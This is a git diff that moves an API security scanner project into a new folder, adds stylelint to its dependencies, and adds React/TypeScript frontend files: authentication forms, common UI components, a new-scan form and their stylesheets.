+8699,6 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/undici-types": { - "version": "7.16.0", - "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz", - "integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==", - "dev": true, - "license": "MIT", - "optional": true, - "peer": true - }, "node_modules/unified": { "version": "11.0.5", "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz", @@ -7780,6 +8870,13 @@ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, "node_modules/vfile": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", @@ -8063,6 +9160,20 @@ "node": ">=0.10.0" } }, + "node_modules/write-file-atomic": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-5.0.1.tgz", + "integrity": "sha512-+QU2zd6OTD8XWIJCbffaiQeH9U73qIqafo1x6V1snCWYGJf6cVE0cDR4D8xRzcEnfI21IFrUPzPGtcPf8AC+Rw==", + "dev": true, + "license": "ISC", + "dependencies": { + "imurmurhash": "^0.1.4", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, "node_modules/ws": { "version": "8.17.1", "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz", diff --git a/api-security-scanner/frontend/package.json b/PROJECTS/api-security-scanner/frontend/package.json similarity index 88% rename from api-security-scanner/frontend/package.json rename to PROJECTS/api-security-scanner/frontend/package.json index 81d668a9..1548889f 100644 --- a/api-security-scanner/frontend/package.json +++ b/PROJECTS/api-security-scanner/frontend/package.json @@ -10,6 +10,8 @@ "format:check": "prettier --check \"**/*.{ts,tsx,scss}\"", "lint": "npm run lint:eslint && npm run lint:scss && npm run lint:types", "lint:eslint": "eslint . --ext .ts,.tsx --max-warnings 0", + "lint:scss": "stylelint \"src/**/*.css\" --max-warnings 0", + "lint:scss:fix": "stylelint \"src/**/*.css\" --fix", "lint:types": "tsc --project tsconfig.app.json --noEmit" }, "dependencies": { @@ -52,6 +54,9 @@ "globals": "^16.3.0", "husky": "^8.0.0", "prettier": "^3.6.2", + "stylelint": "^16.25.0", + "stylelint-config-prettier-scss": "^1.0.0", + "stylelint-config-standard-scss": "^16.0.0", "typescript": "~5.8.3", "typescript-eslint": "^8.39.1", "vite": "^7.1.2", diff --git a/api-security-scanner/frontend/public/android-chrome-192x192.png b/PROJECTS/api-security-scanner/frontend/public/android-chrome-192x192.png similarity index 100% rename from api-security-scanner/frontend/public/android-chrome-192x192.png rename to PROJECTS/api-security-scanner/frontend/public/android-chrome-192x192.png diff --git a/api-security-scanner/frontend/public/android-chrome-512x512.png b/PROJECTS/api-security-scanner/frontend/public/android-chrome-512x512.png similarity index 100% rename from api-security-scanner/frontend/public/android-chrome-512x512.png rename to PROJECTS/api-security-scanner/frontend/public/android-chrome-512x512.png diff --git a/api-security-scanner/frontend/public/apple-touch-icon.png b/PROJECTS/api-security-scanner/frontend/public/apple-touch-icon.png similarity index 100% rename from api-security-scanner/frontend/public/apple-touch-icon.png rename to PROJECTS/api-security-scanner/frontend/public/apple-touch-icon.png diff --git a/api-security-scanner/frontend/public/favicon-16x16.png b/PROJECTS/api-security-scanner/frontend/public/favicon-16x16.png similarity index 100% rename from api-security-scanner/frontend/public/favicon-16x16.png rename to PROJECTS/api-security-scanner/frontend/public/favicon-16x16.png diff --git a/api-security-scanner/frontend/public/favicon-32x32.png b/PROJECTS/api-security-scanner/frontend/public/favicon-32x32.png similarity index 100% rename from api-security-scanner/frontend/public/favicon-32x32.png rename to PROJECTS/api-security-scanner/frontend/public/favicon-32x32.png diff --git a/api-security-scanner/frontend/public/favicon.ico b/PROJECTS/api-security-scanner/frontend/public/favicon.ico similarity index 100% rename from api-security-scanner/frontend/public/favicon.ico rename to PROJECTS/api-security-scanner/frontend/public/favicon.ico diff --git a/api-security-scanner/frontend/public/site.webmanifest b/PROJECTS/api-security-scanner/frontend/public/site.webmanifest similarity index 100% rename from api-security-scanner/frontend/public/site.webmanifest rename to PROJECTS/api-security-scanner/frontend/public/site.webmanifest diff --git a/PROJECTS/api-security-scanner/frontend/src/App.tsx b/PROJECTS/api-security-scanner/frontend/src/App.tsx new file mode 100644 index 00000000..46df2632 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/App.tsx @@ -0,0 +1,36 @@ +/** + * ©AngelaMos | 2025 + * Main application component + */ + +import { useEffect } from 'react'; +import { QueryClientProvider } from '@tanstack/react-query'; +import { ReactQueryDevtools } from '@tanstack/react-query-devtools'; +import { RouterProvider } from 'react-router-dom'; +import { Toaster } from 'sonner'; +import { queryClient } from '@/lib/queryClient'; +import { router } from '@/router'; +import { useAuthStore } from '@/store/authStore'; + +const AuthInitializer = (): null => { + const loadUserFromStorage = useAuthStore((state) => state.loadUserFromStorage); + + useEffect(() => { + loadUserFromStorage(); + }, [loadUserFromStorage]); + + return null; +}; + +function App(): React.ReactElement { + return ( + + + + + + + ); +} + +export default App; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/auth/AuthForm.css b/PROJECTS/api-security-scanner/frontend/src/components/auth/AuthForm.css new file mode 100644 index 00000000..64719e0f --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/auth/AuthForm.css @@ -0,0 +1,81 @@ +/** + * ©AngelaMos | 2025 + * Auth form styles + */ + +.auth-form { + display: flex; + flex-direction: column; + gap: 24px; + width: 100%; + max-width: 420px; + padding: 40px; + background: rgb(255 255 255 / 5%); + border: 1px solid rgb(255 255 255 / 10%); + border-radius: 16px; + backdrop-filter: blur(20px); + box-shadow: 0 8px 32px 0 rgb(0 0 0 / 37%); +} + +.auth-form__header { + display: flex; + flex-direction: column; + gap: 8px; + text-align: center; +} + +.auth-form__title { + font-size: 28px; + font-weight: 700; + color: #fff; + margin: 0; + letter-spacing: -0.02em; +} + +.auth-form__subtitle { + font-size: 14px; + color: rgb(255 255 255 / 60%); + margin: 0; +} + +.auth-form__fields { + display: flex; + flex-direction: column; + gap: 20px; +} + +.auth-form__link { + text-align: center; + font-size: 14px; + color: rgb(255 255 255 / 60%); + margin: 0; +} + +.auth-form__link-text { + color: #3b82f6; + font-weight: 600; + text-decoration: none; + transition: color 0.2s ease; +} + +.auth-form__link-text:hover { + color: #60a5fa; + text-decoration: underline; +} + +.auth-form__link-text:focus-visible { + outline: 2px solid #60a5fa; + outline-offset: 2px; + border-radius: 2px; +} + +.auth-form__error-message { + padding: 12px 16px; + background: rgb(220 38 38 / 10%); + border: 1px solid rgb(220 38 38 / 30%); + border-radius: 8px; + color: #fca5a5; + font-size: 14px; + font-weight: 500; + text-align: center; +} diff --git a/PROJECTS/api-security-scanner/frontend/src/components/auth/LoginForm.tsx b/PROJECTS/api-security-scanner/frontend/src/components/auth/LoginForm.tsx new file mode 100644 index 00000000..2b0555c9 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/auth/LoginForm.tsx @@ -0,0 +1,173 @@ +// =========================== +// LoginForm.tsx +// ©AngelaMos | 2025 +// =========================== + +import { useState, useEffect } from 'react'; +import { Link } from 'react-router-dom'; +import { isAxiosError } from 'axios'; +import { Button } from '@/components/common/Button'; +import { Input } from '@/components/common/Input'; +import { useLogin } from '@/hooks/useAuth'; +import { useUIStore } from '@/store/uiStore'; +import { loginSchema } from '@/lib/validation'; +import './AuthForm.css'; + +export const LoginForm = (): React.ReactElement => { + const loginFormState = useUIStore((state) => state.loginForm); + const setLoginFormField = useUIStore((state) => state.setLoginFormField); + const clearLoginForm = useUIStore((state) => state.clearLoginForm); + const clearExpiredData = useUIStore((state) => state.clearExpiredData); + + const [email, setEmail] = useState(''); + const [password, setPassword] = useState(''); + const [errors, setErrors] = useState<{ email?: string; password?: string }>( + {}, + ); + + const { mutate: login, isPending, error } = useLogin(); + + useEffect(() => { + clearExpiredData(); + setEmail(loginFormState.email); + setPassword(loginFormState.password); + }, [clearExpiredData, loginFormState.email, loginFormState.password]); + + const handleEmailChange = (value: string): void => { + setEmail(value); + setLoginFormField('email', value); + if (errors.email !== null && errors.email !== undefined) { + validateField('email', value); + } + }; + + const handlePasswordChange = (value: string): void => { + setPassword(value); + setLoginFormField('password', value); + if (errors.password !== null && errors.password !== undefined) { + validateField('password', value); + } + }; + + const validateField = (field: 'email' | 'password', value: string): void => { + const result = loginSchema.safeParse({ + email: field === 'email' ? value : email, + password: field === 'password' ? value : password, + }); + + if (!result.success) { + const fieldError = result.error.issues.find((err) => err.path[0] === field); + if (fieldError !== null && fieldError !== undefined) { + setErrors((prev) => ({ ...prev, [field]: fieldError.message })); + } else { + setErrors((prev) => { + const { [field]: _, ...rest } = prev; + return rest; + }); + } + } else { + setErrors((prev) => { + const { [field]: _, ...rest } = prev; + return rest; + }); + } + }; + + const handleBlur = (field: 'email' | 'password'): void => { + const value = field === 'email' ? email : password; + validateField(field, value); + }; + + const validateForm = (): boolean => { + const result = loginSchema.safeParse({ + email, + password, + }); + + if (!result.success) { + const newErrors: { email?: string; password?: string } = {}; + + result.error.issues.forEach((err) => { + const field = err.path[0] as keyof typeof newErrors; + if (field !== null && field !== undefined) { + newErrors[field] = err.message; + } + }); + + setErrors(newErrors); + return false; + } + + setErrors({}); + return true; + }; + + const handleSubmit = (e: React.FormEvent): void => { + e.preventDefault(); + + if (!validateForm()) { + return; + } + + login( + { email, password }, + { + onSuccess: () => { + clearLoginForm(); + }, + }, + ); + }; + + return ( +
+
+

Welcome Back

+

Sign in to your account

+
+ +
+ handleEmailChange(e.target.value)} + onBlur={() => handleBlur('email')} + error={errors.email} + placeholder="you@example.com" + autoComplete="email" + required + /> + + handlePasswordChange(e.target.value)} + onBlur={() => handleBlur('password')} + error={errors.password} + placeholder="Enter your password" + autoComplete="current-password" + required + /> +
+ + {error !== null && error !== undefined && isAxiosError(error) ? ( +
+ {(error.response?.data as { detail?: string } | undefined)?.detail ?? 'Login failed. Please try again.'} +
+ ) : null} + + + +

+ Don't have an account?{' '} + + Sign up + +

+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/auth/RegisterForm.tsx b/PROJECTS/api-security-scanner/frontend/src/components/auth/RegisterForm.tsx new file mode 100644 index 00000000..7fdefd44 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/auth/RegisterForm.tsx @@ -0,0 +1,218 @@ +// =========================== +// RegisterForm.tsx +// ©AngelaMos | 2025 +// =========================== + +import { useState, useEffect } from 'react'; +import { Link } from 'react-router-dom'; +import { isAxiosError } from 'axios'; +import { Button } from '@/components/common/Button'; +import { Input } from '@/components/common/Input'; +import { useRegister } from '@/hooks/useAuth'; +import { useUIStore } from '@/store/uiStore'; +import { registerSchema } from '@/lib/validation'; +import './AuthForm.css'; + +export const RegisterForm = (): React.ReactElement => { + const registerFormState = useUIStore((state) => state.registerForm); + const setRegisterFormField = useUIStore((state) => state.setRegisterFormField); + const clearRegisterForm = useUIStore((state) => state.clearRegisterForm); + const clearExpiredData = useUIStore((state) => state.clearExpiredData); + + const [email, setEmail] = useState(''); + const [password, setPassword] = useState(''); + const [confirmPassword, setConfirmPassword] = useState(''); + const [errors, setErrors] = useState<{ + email?: string; + password?: string; + confirmPassword?: string; + }>({}); + + const { mutate: register, isPending, error } = useRegister(); + + useEffect(() => { + clearExpiredData(); + setEmail(registerFormState.email); + setPassword(registerFormState.password); + setConfirmPassword(registerFormState.confirmPassword); + }, [ + clearExpiredData, + registerFormState.email, + registerFormState.password, + registerFormState.confirmPassword, + ]); + + const handleEmailChange = (value: string): void => { + setEmail(value); + setRegisterFormField('email', value); + if (errors.email !== null && errors.email !== undefined) { + validateField('email', value); + } + }; + + const handlePasswordChange = (value: string): void => { + setPassword(value); + setRegisterFormField('password', value); + if (errors.password !== null && errors.password !== undefined) { + validateField('password', value); + } + }; + + const handleConfirmPasswordChange = (value: string): void => { + setConfirmPassword(value); + setRegisterFormField('confirmPassword', value); + if (errors.confirmPassword !== null && errors.confirmPassword !== undefined) { + validateField('confirmPassword', value); + } + }; + + const validateField = ( + field: 'email' | 'password' | 'confirmPassword', + value: string, + ): void => { + const result = registerSchema.safeParse({ + email: field === 'email' ? value : email, + password: field === 'password' ? value : password, + confirmPassword: field === 'confirmPassword' ? value : confirmPassword, + }); + + if (!result.success) { + const fieldError = result.error.issues.find((err) => err.path[0] === field); + if (fieldError !== null && fieldError !== undefined) { + setErrors((prev) => ({ ...prev, [field]: fieldError.message })); + } else { + setErrors((prev) => { + const { [field]: _, ...rest } = prev; + return rest; + }); + } + } else { + setErrors((prev) => { + const { [field]: _, ...rest } = prev; + return rest; + }); + } + }; + + const handleBlur = (field: 'email' | 'password' | 'confirmPassword'): void => { + let value: string; + if (field === 'email') { + value = email; + } else if (field === 'password') { + value = password; + } else { + value = confirmPassword; + } + validateField(field, value); + }; + + const validateForm = (): boolean => { + const result = registerSchema.safeParse({ + email, + password, + confirmPassword, + }); + + if (!result.success) { + const newErrors: { + email?: string; + password?: string; + confirmPassword?: string; + } = {}; + + result.error.issues.forEach((err) => { + const field = err.path[0] as keyof typeof newErrors; + if (field !== null && field !== undefined) { + newErrors[field] = err.message; + } + }); + + setErrors(newErrors); + return false; + } + + setErrors({}); + return true; + }; + + const handleSubmit = (e: React.FormEvent): void => { + e.preventDefault(); + + if (!validateForm()) { + return; + } + + register( + { email, password }, + { + onSuccess: () => { + clearRegisterForm(); + }, + }, + ); + }; + + return ( +
+
+

Create Account

+

Get started with API Security Scanner

+
+ +
+ handleEmailChange(e.target.value)} + onBlur={() => handleBlur('email')} + error={errors.email} + placeholder="you@example.com" + autoComplete="email" + required + /> + + handlePasswordChange(e.target.value)} + onBlur={() => handleBlur('password')} + error={errors.password} + placeholder="Enter your password" + autoComplete="new-password" + required + /> + + handleConfirmPasswordChange(e.target.value)} + onBlur={() => handleBlur('confirmPassword')} + error={errors.confirmPassword} + placeholder="Confirm your password" + autoComplete="new-password" + required + /> +
+ + {error !== null && error !== undefined && isAxiosError(error) ? ( +
+ {(error.response?.data as { detail?: string } | undefined)?.detail ?? 'Registration failed. Please try again.'} +
+ ) : null} + + + +

+ Already have an account?{' '} + + Sign in + +

+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/common/Button.css b/PROJECTS/api-security-scanner/frontend/src/components/common/Button.css new file mode 100644 index 00000000..80c6fb5c --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/common/Button.css @@ -0,0 +1,91 @@ +/** + * ©AngelaMos | 2025 + * Button component styles + */ + +.button { + position: relative; + display: inline-flex; + align-items: center; + justify-content: center; + border-radius: 8px; + font-weight: 600; + font-family: inherit; + transition: all 0.2s ease; + cursor: pointer; + border: 1px solid transparent; + white-space: nowrap; + backdrop-filter: blur(10px); +} + +.button:focus-visible { + outline: 2px solid #60a5fa; + outline-offset: 2px; +} + +.button:disabled { + opacity: 0.5; + cursor: not-allowed; + pointer-events: none; +} + +.button--sm { + padding: 8px 16px; + font-size: 14px; + line-height: 20px; +} + +.button--md { + padding: 12px 24px; + font-size: 16px; + line-height: 24px; +} + +.button--lg { + padding: 16px 32px; + font-size: 18px; + line-height: 28px; +} + +.button--primary { + background: linear-gradient(135deg, #3b82f6 0%, #2563eb 100%); + color: #fff; + border-color: rgb(255 255 255 / 20%); + box-shadow: 0 4px 6px -1px rgb(0 0 0 / 30%), + 0 2px 4px -1px rgb(0 0 0 / 20%); +} + +.button--primary:hover:not(:disabled) { + background: linear-gradient(135deg, #2563eb 0%, #1d4ed8 100%); + transform: translateY(-1px); + box-shadow: 0 10px 15px -3px rgb(0 0 0 / 30%), + 0 4px 6px -2px rgb(0 0 0 / 20%); +} + +.button--primary:active:not(:disabled) { + transform: translateY(0); + box-shadow: 0 2px 4px -1px rgb(0 0 0 / 20%); +} + +.button--secondary { + background: rgb(255 255 255 / 10%); + color: #fff; + border-color: rgb(255 255 255 / 20%); + box-shadow: 0 4px 6px -1px rgb(0 0 0 / 20%); +} + +.button--secondary:hover:not(:disabled) { + background: rgb(255 255 255 / 15%); + border-color: rgb(255 255 255 / 30%); + transform: translateY(-1px); +} + +.button--ghost { + background: transparent; + color: #fff; + border-color: transparent; +} + +.button--ghost:hover:not(:disabled) { + background: rgb(255 255 255 / 10%); +} diff --git a/PROJECTS/api-security-scanner/frontend/src/components/common/Button.tsx b/PROJECTS/api-security-scanner/frontend/src/components/common/Button.tsx new file mode 100644 index 00000000..8cf8c5db --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/common/Button.tsx @@ -0,0 +1,34 @@ +// =========================== +// Button.tsx +// ©AngelaMos | 2025 +// =========================== + +import { type ButtonHTMLAttributes } from 'react'; +import './Button.css'; + +interface ButtonProps extends ButtonHTMLAttributes { + variant?: 'primary' | 'secondary' | 'ghost'; + size?: 'sm' | 'md' | 'lg'; + isLoading?: boolean; + children: React.ReactNode; +} + +export const Button = ({ + variant = 'primary', + size = 'md', + isLoading = false, + disabled, + children, + ...props +}: ButtonProps): React.ReactElement => { + return ( + + ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/common/Input.css b/PROJECTS/api-security-scanner/frontend/src/components/common/Input.css new file mode 100644 index 00000000..59ce69d7 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/common/Input.css @@ -0,0 +1,67 @@ +/** + * ©AngelaMos | 2025 + * Input component styles + */ + +.input-wrapper { + display: flex; + flex-direction: column; + gap: 8px; + width: 100%; +} + +.input-label { + font-size: 14px; + font-weight: 500; + color: #fff; + letter-spacing: 0.01em; +} + +.input { + width: 100%; + padding: 12px 16px; + font-size: 16px; + font-family: inherit; + color: #fff; + background: rgb(255 255 255 / 5%); + border: 1px solid rgb(255 255 255 / 20%); + border-radius: 8px; + transition: all 0.2s ease; + backdrop-filter: blur(10px); +} + +.input::placeholder { + color: rgb(255 255 255 / 50%); +} + +.input:focus { + outline: none; + border-color: #3b82f6; + background: rgb(255 255 255 / 10%); + box-shadow: 0 0 0 3px rgb(59 130 246 / 10%); +} + +.input:disabled { + opacity: 0.5; + cursor: not-allowed; +} + +.input:hover:not(:disabled) { + border-color: rgb(255 255 255 / 30%); + background: rgb(255 255 255 / 8%); +} + +.input--error { + border-color: #ef4444; +} + +.input--error:focus { + border-color: #ef4444; + box-shadow: 0 0 0 3px rgb(239 68 68 / 10%); +} + +.input-error { + font-size: 14px; + color: #ef4444; + margin: 0; +} diff --git a/PROJECTS/api-security-scanner/frontend/src/components/common/Input.tsx b/PROJECTS/api-security-scanner/frontend/src/components/common/Input.tsx new file mode 100644 index 00000000..b22b9a77 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/common/Input.tsx @@ -0,0 +1,42 @@ +// =========================== +// Input.tsx +// ©AngelaMos | 2025 +// =========================== + +import { type InputHTMLAttributes, forwardRef } from 'react'; +import './Input.css'; + +interface InputProps extends InputHTMLAttributes { + label: string; + error?: string | undefined; +} + +export const Input = forwardRef( + ({ label, error, id, ...props }, ref) => { + const inputId = id ?? `input-${label.toLowerCase().replace(/\s+/g, '-')}`; + const errorId = `${inputId}-error`; + + return ( +
+ + + {error !== null && error !== undefined ? ( + + ) : null} +
+ ); + }, +); + +Input.displayName = 'Input'; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/common/LoadingOverlay.css b/PROJECTS/api-security-scanner/frontend/src/components/common/LoadingOverlay.css new file mode 100644 index 00000000..25d93c95 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/common/LoadingOverlay.css @@ -0,0 +1,81 @@ +.loading-overlay { + position: fixed; + inset: 0; + background: rgb(15 23 42 / 95%); + backdrop-filter: blur(8px); + display: flex; + align-items: center; + justify-content: center; + z-index: var(--z-modal); + animation: fade-in var(--transition-base); +} + +@keyframes fade-in { + from { + opacity: 0; + } + + to { + opacity: 1; + } +} + +.loading-overlay__content { + display: flex; + flex-direction: column; + align-items: center; + gap: var(--spacing-lg); + padding: var(--spacing-2xl); + max-width: 500px; + text-align: center; +} + +.loading-overlay__spinner { + width: 80px; + height: 80px; +} + +.spinner { + width: 100%; + height: 100%; + border: 4px solid var(--glass-border); + border-top-color: var(--color-accent-primary); + border-radius: 50%; + animation: spin 1s linear infinite; +} + +@keyframes spin { + to { + transform: rotate(360deg); + } +} + +.loading-overlay__title { + font-size: var(--font-size-2xl); + font-weight: var(--font-weight-bold); + color: var(--color-text-primary); + margin: 0; +} + +.loading-overlay__subtitle { + font-size: var(--font-size-lg); + color: var(--color-text-secondary); + margin: 0; +} + +.loading-overlay__tests { + display: flex; + flex-wrap: wrap; + gap: var(--spacing-xs); + justify-content: center; +} + +.loading-overlay__test { + padding: var(--spacing-xs) var(--spacing-md); + background: var(--glass-bg); + border: 1px solid var(--glass-border); + border-radius: var(--radius-md); + font-size: var(--font-size-sm); + font-weight: var(--font-weight-medium); + color: var(--color-text-primary); +} diff --git a/PROJECTS/api-security-scanner/frontend/src/components/common/LoadingOverlay.tsx b/PROJECTS/api-security-scanner/frontend/src/components/common/LoadingOverlay.tsx new file mode 100644 index 00000000..2694cc3f --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/common/LoadingOverlay.tsx @@ -0,0 +1,36 @@ +// =========================== +// LoadingOverlay.tsx +// ©AngelaMos | 2025 +// =========================== + +import { TEST_TYPE_LABELS, type ScanTestType } from '@/config/constants'; +import './LoadingOverlay.css'; + +interface LoadingOverlayProps { + tests: ScanTestType[]; +} + +export const LoadingOverlay = ({ + tests, +}: LoadingOverlayProps): React.ReactElement => { + return ( +
+
+
+
+
+

Running Security Scan

+

+ Testing {tests.length} {tests.length === 1 ? 'vulnerability' : 'vulnerabilities'} +

+
+ {tests.map((test) => ( +
+ {TEST_TYPE_LABELS[test]} +
+ ))} +
+
+
+ ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/common/ProtectedRoute.tsx b/PROJECTS/api-security-scanner/frontend/src/components/common/ProtectedRoute.tsx new file mode 100644 index 00000000..cdfa1c4d --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/common/ProtectedRoute.tsx @@ -0,0 +1,40 @@ +// =========================== +// ProtectedRoute.tsx +// ©AngelaMos | 2025 +// =========================== + +import { Navigate } from 'react-router-dom'; +import { useAuthStore } from '@/store/authStore'; + +interface ProtectedRouteProps { + children: React.ReactNode; +} + +export const ProtectedRoute = ({ + children, +}: ProtectedRouteProps): React.ReactElement => { + const { isAuthenticated, isLoading } = useAuthStore(); + + if (isLoading) { + return ( +
+

Loading...

+
+ ); + } + + if (!isAuthenticated) { + return ; + } + + return children as React.ReactElement; +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/scan/NewScanForm.tsx b/PROJECTS/api-security-scanner/frontend/src/components/scan/NewScanForm.tsx new file mode 100644 index 00000000..1264e5c3 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/scan/NewScanForm.tsx @@ -0,0 +1,205 @@ +// =========================== +// NewScanForm.tsx +// ©AngelaMos | 2025 +// =========================== + +import { useState, useEffect } from 'react'; +import { Button } from '@/components/common/Button'; +import { Input } from '@/components/common/Input'; +import { LoadingOverlay } from '@/components/common/LoadingOverlay'; +import { useCreateScan } from '@/hooks/useScan'; +import { useUIStore } from '@/store/uiStore'; +import { + SCAN_TEST_TYPES, + TEST_TYPE_LABELS, + type ScanTestType, +} from '@/config/constants'; +import { scanSchema } from '@/lib/validation'; +import './ScanForm.css'; + +export const NewScanForm = (): React.ReactElement => { + const scanFormState = useUIStore((state) => state.scanForm); + const setScanFormField = useUIStore((state) => state.setScanFormField); + const clearScanForm = useUIStore((state) => state.clearScanForm); + const clearExpiredData = useUIStore((state) => state.clearExpiredData); + + const [targetUrl, setTargetUrl] = useState(''); + const [authToken, setAuthToken] = useState(''); + const [selectedTests, setSelectedTests] = useState([]); + const [maxRequests, setMaxRequests] = useState('50'); + const [errors, setErrors] = useState<{ + targetUrl?: string; + authToken?: string; + testsToRun?: string; + maxRequests?: string; + }>({}); + + const { mutate: createScan, isPending } = useCreateScan(); + + useEffect(() => { + clearExpiredData(); + setTargetUrl(scanFormState.targetUrl); + setAuthToken(scanFormState.authToken); + setSelectedTests( + scanFormState.selectedTests.length > 0 + ? scanFormState.selectedTests + : [SCAN_TEST_TYPES.RATE_LIMIT], + ); + setMaxRequests(scanFormState.maxRequests); + }, [ + clearExpiredData, + scanFormState.targetUrl, + scanFormState.authToken, + scanFormState.selectedTests, + scanFormState.maxRequests, + ]); + + const validateForm = (): boolean => { + const maxReq = parseInt(maxRequests); + + const result = scanSchema.safeParse({ + targetUrl: targetUrl.trim(), + authToken: authToken.trim().length > 0 ? authToken.trim() : undefined, + testsToRun: selectedTests, + maxRequests: maxReq, + }); + + if (!result.success) { + const newErrors: { + targetUrl?: string; + authToken?: string; + testsToRun?: string; + maxRequests?: string; + } = {}; + + result.error.issues.forEach((err) => { + const field = err.path[0] as keyof typeof newErrors; + if (field !== null && field !== undefined) { + newErrors[field] = err.message; + } + }); + + setErrors(newErrors); + return false; + } + + setErrors({}); + return true; + }; + + const handleTargetUrlChange = (value: string): void => { + setTargetUrl(value); + setScanFormField('targetUrl', value); + }; + + const handleAuthTokenChange = (value: string): void => { + setAuthToken(value); + setScanFormField('authToken', value); + }; + + const handleMaxRequestsChange = (value: string): void => { + setMaxRequests(value); + setScanFormField('maxRequests', value); + }; + + const handleTestToggle = (test: ScanTestType): void => { + const newTests = selectedTests.includes(test) + ? selectedTests.filter((t) => t !== test) + : [...selectedTests, test]; + + setSelectedTests(newTests); + setScanFormField('selectedTests', newTests); + }; + + const handleSubmit = (e: React.FormEvent): void => { + e.preventDefault(); + + if (!validateForm()) { + return; + } + + const maxReq = parseInt(maxRequests); + + createScan( + { + target_url: targetUrl.trim(), + auth_token: authToken.trim().length > 0 ? authToken.trim() : null, + tests_to_run: selectedTests, + max_requests: maxReq, + }, + { + onSuccess: () => { + clearScanForm(); + }, + }, + ); + }; + + return ( + <> + {isPending ? : null} +
+
+ handleTargetUrlChange(e.target.value)} + error={errors.targetUrl} + placeholder="https://api.example.com/endpoint" + required + /> + + handleAuthTokenChange(e.target.value)} + error={errors.authToken} + placeholder="Bearer token or API key" + /> + +
+ +
+ {Object.values(SCAN_TEST_TYPES).map((test) => ( + + ))} +
+
+ + handleMaxRequestsChange(e.target.value)} + error={errors.maxRequests} + placeholder="50" + min="1" + max="50" + required + /> +
+ + +
+ + ); +}; diff --git a/PROJECTS/api-security-scanner/frontend/src/components/scan/ScanForm.css b/PROJECTS/api-security-scanner/frontend/src/components/scan/ScanForm.css new file mode 100644 index 00000000..00129dd6 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/scan/ScanForm.css @@ -0,0 +1,70 @@ +.scan-form { + display: flex; + flex-direction: column; + gap: var(--spacing-lg); +} + +.scan-form__fields { + display: flex; + flex-direction: column; + gap: var(--spacing-md); +} + +.scan-form__field { + display: flex; + flex-direction: column; + gap: var(--spacing-xs); +} + +.scan-form__label { + font-size: var(--font-size-sm); + font-weight: var(--font-weight-medium); + color: var(--color-text-primary); + display: flex; + align-items: center; + gap: var(--spacing-xs); +} + +.scan-form__error { + font-size: var(--font-size-sm); + color: var(--color-danger); + font-weight: var(--font-weight-normal); +} + +.scan-form__checkboxes { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); + gap: var(--spacing-sm); +} + +.scan-form__checkbox-label { + display: flex; + align-items: center; + gap: var(--spacing-xs); + padding: var(--spacing-sm); + background: var(--glass-bg); + border: 1px solid var(--glass-border); + border-radius: var(--radius-md); + cursor: pointer; + transition: all var(--transition-base); + font-size: var(--font-size-sm); + color: var(--color-text-primary); +} + +.scan-form__checkbox-label:hover { + background: var(--glass-bg-hover); + border-color: var(--glass-border-hover); +} + +.scan-form__checkbox { + width: 18px; + height: 18px; + cursor: pointer; + accent-color: var(--color-accent-primary); +} + +@media (width <= 768px) { + .scan-form__checkboxes { + grid-template-columns: 1fr; + } +} diff --git a/PROJECTS/api-security-scanner/frontend/src/components/scan/ScansList.css b/PROJECTS/api-security-scanner/frontend/src/components/scan/ScansList.css new file mode 100644 index 00000000..d48adfd0 --- /dev/null +++ b/PROJECTS/api-security-scanner/frontend/src/components/scan/ScansList.css @@ -0,0 +1,155 @@ +.scans-list__loading, +.scans-list__error { + padding: var(--spacing-xl); + text-align: center; + color: var(--color-text-secondary); + font-size: var(--font-size-base); +} + +.scans-list__error { + color: var(--color-danger); +} + +.scans-list__empty { + padding: var(--spacing-2xl) var(--spacing-xl); + text-align: center; + display: flex; + flex-direction: column; + align-items: center; + gap: var(--spacing-md); +} + +.scans-list__empty-icon { + font-size: 4rem; + color: var(--color-text-tertiary); + opacity: 0.5; +} + +.scans-list__empty-title { + font-size: var(--font-size-xl); + font-weight: var(--font-weight-semibold); + color: var(--color-text-primary); + margin: 0; +} + +.scans-list__empty-text { + font-size: var(--font-size-base); + color: var(--color-text-secondary); + margin: 0; + max-width: 400px; +} + +.scans-list__table { + display: flex; + flex-direction: column; + gap: var(--spacing-sm); +} + +.scans-list__header { + display: grid; + grid-template-columns: 2fr 1fr 1fr 1fr 1fr; + gap: var(--spacing-md); 